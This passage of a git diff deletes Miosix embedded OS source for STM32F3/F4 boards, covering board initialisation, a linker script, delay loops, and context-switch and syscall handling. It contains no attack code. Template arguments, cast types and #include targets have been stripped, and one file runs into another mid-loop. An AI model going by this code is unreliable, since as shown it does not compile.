"CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F3xx/Include/system_stm32f3xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/interfaces-impl/bsp.cpp deleted file mode 100644 index 5082e35ea..000000000 --- a/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,136 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHBENR |= RCC_AHBENR_GPIOAEN | RCC_AHBENR_GPIOBEN | - RCC_AHBENR_GPIOCEN | RCC_AHBENR_GPIODEN | - RCC_AHBENR_GPIOEEN | RCC_AHBENR_GPIOFEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOF->OSPEEDR=0xaaaaaaaa; - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - // Nothing to do -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -};//namespace miosix diff --git a/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/interfaces-impl/bsp_impl.h deleted file mode 100644 index 08e265e74..000000000 --- a/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,76 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -/** - * Polls the SD card sense GPIO. - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -};//namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/stm32_256k+48k_rom.ld b/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/stm32_256k+48k_rom.ld deleted file mode 100644 index 9bdd01850..000000000 --- a/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/stm32_256k+48k_rom.ld +++ /dev/null @@ -1,182 +0,0 @@ -/* - * C++ enabled linker script for stm32 (256K FLASH, 48K RAM) - * Developed by TFT: Terraneo Federico Technologies, adapted by Silvano Seva - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 8KB RAM - * - stacks and heap in the "large" 40KB RAM. - * - * Unfortunately thread stacks can't be put in the small RAM as Miosix - * allocates them inside the heap. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the large 40KB RAM */ -_end = 0x20000000; -_heap_end = 0x2000A000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 256K - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 8K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 40K -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - . = ALIGN(8); - _etext = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > smallram AT > flash - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > smallram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM4_stm32f4/common/arch_settings.h b/miosix/arch/cortexM4_stm32f4/common/arch_settings.h deleted file mode 100644 index 01235ec6f..000000000 --- a/miosix/arch/cortexM4_stm32f4/common/arch_settings.h +++ /dev/null @@ -1,61 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal size of vector to store registers during ctx switch -/// ((10+16)*4=104Bytes). Only sp, r4-r11, EXC_RETURN and s16-s31 are saved -/// here, since r0-r3,r12,lr,pc,xPSR, old sp and s0-s15,fpscr are saved by -/// hardware on the process stack on Cortex M4F CPUs. EXC_RETURN, or the lr, -/// value to use to return from the exception is necessary to know if the -/// thread has used fp regs, as an extension specific to Cortex-M4F CPUs. -const unsigned char CTXSAVE_SIZE=10+16; - -/// \internal some architectures save part of the context on their stack. -/// ((8+17)*4=100Bytes). This constant is used to increase the stack size by -/// the size of context save frame. If zero, this architecture does not save -/// anything on stack during context save. Size is in bytes, not words. -/// 8 registers=r0-r3,r12,lr,pc,xPSR -/// 17 registers=s0-s15,fpscr -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=(8+17)*4; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM4_stm32f4/common/interfaces-impl/delays.cpp deleted file mode 100644 index 8285dba2a..000000000 --- a/miosix/arch/cortexM4_stm32f4/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,94 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" - -namespace miosix { - -void delayMs(unsigned int mseconds) -{ - #ifdef SYSCLK_FREQ_180MHz - register const unsigned int count=45000; - #elif defined(SYSCLK_FREQ_168MHz) - register const unsigned int count=42000; - #elif defined(SYSCLK_FREQ_100MHz) - register const unsigned int count=25000; - #elif SYSCLK_FREQ_84MHz - register const unsigned int count=21000; - #else - #warning "Delays are uncalibrated for this clock frequency" - #endif - - for(unsigned int i=0;i * - ***************************************************************************/ - -#ifndef GPIO_IMPL_H -#define GPIO_IMPL_H - -#include "drivers/stm32_gpio.h" - -#endif //GPIO_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM4_stm32f4/common/interfaces-impl/portability.cpp deleted file mode 100644 index 36716f2bf..000000000 --- a/miosix/arch/cortexM4_stm32f4/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,252 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include "core/interrupts.h" -#include "kernel/process.h" -#include -#include -#include -#include - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not - * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - #ifdef WITH_PROCESSES - // WARNING: Temporary fix. Rationale: - // This fix is intended to avoid kernel or process faulting due to - // another process actions. Consider the case in which a process statically - // allocates a big array such that there is no space left for saving - // context data. If the process issues a system call, in the following - // interrupt the context is saved, but since there is no memory available - // for all the context data, a mem manage interrupt is set to 'pending'. Then, - // a fake syscall is issued, based on the value read on the stack (which - // the process hasn't set due to the memory fault and is likely to be 0); - // this syscall is usually a yield (due to the value of 0 above), - // which can cause the scheduling of the kernel thread. At this point, - // the pending mem fault is issued from the kernel thread, causing the - // kernel fault and reboot. This is caused by the mem fault interrupt - // having less priority of the other interrupts. - // This fix checks if there is a mem fault interrupt pending, and, if so, - // it clears it and returns before calling the previously mentioned fake - // syscall. - if(SCB->SHCSR & (1<<13)) - { - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - fault::MP,0,0))) - { - SCB->SHCSR &= ~(1<<13); //Clear MEMFAULTPENDED bit - return; - } - } - #endif // WITH_PROCESSES - miosix::Thread::IRQstackOverflowCheck(); - - #ifdef WITH_PROCESSES - //If processes are enabled, check the content of r3. If zero then it - //it is a simple yield, otherwise handle the syscall - //Note that it is required to use ctxsave and not cur->ctxsave because - //at this time we do not know if the active context is user or kernel - unsigned int threadSp=ctxsave[0]; - unsigned int *processStack=reinterpret_cast(threadSp); - if(processStack[3]!=static_cast(miosix::Syscall::YIELD)) - miosix::Thread::IRQhandleSvc(processStack[3]); - else miosix::Scheduler::IRQfindNextThread(); - #else //WITH_PROCESSES - miosix::Scheduler::IRQfindNextThread(); - #endif //WITH_PROCESSES -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized - ctxsave[9]=0xfffffffd; //EXC_RETURN=thread mode, use psp, no floating ops - //leaving the content of s16-s31 uninitialized -} - -#ifdef WITH_PROCESSES - -// -// class FaultData -// - -void FaultData::print() const -{ - using namespace fault; - switch(id) - { - case MP: - iprintf("* Attempted data access @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case MP_NOADDR: - iprintf("* Invalid data access (PC was 0x%x)\n",pc); - break; - case MP_XN: - iprintf("* Attempted instruction fetch @ 0x%x\n",pc); - break; - case UF_DIVZERO: - iprintf("* Dvide by zero (PC was 0x%x)\n",pc); - break; - case UF_UNALIGNED: - iprintf("* Unaligned memory access (PC was 0x%x)\n",pc); - break; - case UF_COPROC: - iprintf("* Attempted coprocessor access (PC was 0x%x)\n",pc); - break; - case UF_EXCRET: - iprintf("* Invalid exception return sequence (PC was 0x%x)\n",pc); - break; - case UF_EPSR: - iprintf("* Attempted access to the EPSR (PC was 0x%x)\n",pc); - break; - case UF_UNDEF: - iprintf("* Undefined instruction (PC was 0x%x)\n",pc); - break; - case UF_UNEXP: - iprintf("* Unexpected usage fault (PC was 0x%x)\n",pc); - break; - case HARDFAULT: - iprintf("* Hardfault (PC was 0x%x)\n",pc); - break; - case BF: - iprintf("* Busfault @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case BF_NOADDR: - iprintf("* Busfault (PC was 0x%x)\n",pc); - break; - case STACKOVERFLOW: - iprintf("* Stack overflow\n"); - break; - } -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), int argc, - void *argvSp, void *envp, unsigned int *gotBase, unsigned int *heapEnd) -{ - unsigned int *stackPtr=reinterpret_cast(argvSp); - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast(pc); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=reinterpret_cast(heapEnd); stackPtr--; //--> r3 - *stackPtr=reinterpret_cast(envp); stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argvSp); stackPtr--; //--> r1 - *stackPtr=argc; //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - ctxsave[6]=reinterpret_cast(gotBase); //--> r9 - //leaving the content of r4-r8,r10-r11 uninitialized - ctxsave[9]=0xfffffffd; //EXC_RETURN=thread mode, use psp, no floating ops - //leaving the content of s16-s31 uninitialized -} - -#endif //WITH_PROCESSES - -void IRQportableStartKernel() -{ - //Enable fault handlers - SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk - | SCB_SHCSR_MEMFAULTENA_Msk; - //Enable traps for division by zero. Trap for unaligned memory access - //was removed as gcc starting from 4.7.2 generates unaligned accesses by - //default (https://www.gnu.org/software/gcc/gcc-4.7/changes.html) - SCB->CCR |= SCB_CCR_DIV_0_TRP_Msk; - NVIC_SetPriorityGrouping(7);//This should disable interrupt nesting - NVIC_SetPriority(SVCall_IRQn,3);//High priority for SVC (Max=0, min=15) - NVIC_SetPriority(MemoryManagement_IRQn,2);//Higher priority for MemoryManagement (Max=0, min=15) - - #ifdef WITH_PROCESSES - miosix::IRQenableMPUatBoot(); - #endif //WITH_PROCESSES - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not matched - //by a call to disableInterrupts() - __enable_fault_irq(); - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM4_stm32f4/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM4_stm32f4/common/interfaces-impl/portability_impl.h deleted file mode 100644 index 12d901577..000000000 --- a/miosix/arch/cortexM4_stm32f4/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,209 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "interfaces/arch_registers.h" -#include "interfaces/portability.h" -#include "config/miosix_settings.h" -#include - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+100 --> s31 - * ... - * *ctxsave+40 --> s16 - * *ctxsave+36 --> lr (contains EXC_RETURN whose bit #4 tells if fpu is used) - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ -#define saveContext() \ - asm volatile(" mrs r1, psp \n"/*get PROCESS stack ptr */ \ - " ldr r0, =ctxsave \n"/*get current context */ \ - " ldr r0, [r0] \n" \ - " stmia r0!, {r1,r4-r11,lr} \n"/*save r1(psp),r4-r11,lr */ \ - " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ - " bmi 0f \n" \ - " vstmia.32 r0, {s16-s31} \n"/*save s16-s31 if we need*/ \ - "0: dmb \n" \ - ); - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ -#define restoreContext() \ - asm volatile(" ldr r0, =ctxsave \n"/*get current context */ \ - " ldr r0, [r0] \n" \ - " ldmia r0!, {r1,r4-r11,lr} \n"/*load r1(psp),r4-r11,lr */ \ - " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ - " bmi 0f \n" \ - " vldmia.32 r0, {s16-s31} \n"/*restore s16-s31 if need*/ \ - "0: msr psp, r1 \n"/*restore PROCESS sp*/ \ - " bx lr \n"/*return*/ \ - ); - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -#ifdef WITH_PROCESSES - -namespace { -/* - * ARM syscall parameter mapping - * Syscall id is r3, saved at registers[3] - * - * Parameter 1 is r0, saved at registers[0] - * Parameter 2 is r1, saved at registers[1] - * Parameter 3 is r2, saved at registers[2] - * Parameter 4 is r12, saved at registers[4] - */ -constexpr unsigned int armSyscallMapping[]={0,1,2,4}; -} - -// -// class SyscallParameters -// - -inline SyscallParameters::SyscallParameters(unsigned int *context) : - registers(reinterpret_cast(context[0])) {} - -inline int SyscallParameters::getSyscallId() const -{ - return registers[3]; -} - -inline unsigned int SyscallParameters::getParameter(unsigned int index) const -{ - assert(index<4); - return registers[armSyscallMapping[index]]; -} - -inline void SyscallParameters::setParameter(unsigned int index, unsigned int value) -{ - assert(index<4); - registers[armSyscallMapping[index]]=value; -} - -inline void portableSwitchToUserspace() -{ - asm volatile("movs r3, #1\n\t" - "svc 0" - :::"r3"); -} - -#endif //WITH_PROCESSES - -/** - * \} - */ - -} //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/core/stage_1_boot.cpp deleted file mode 100644 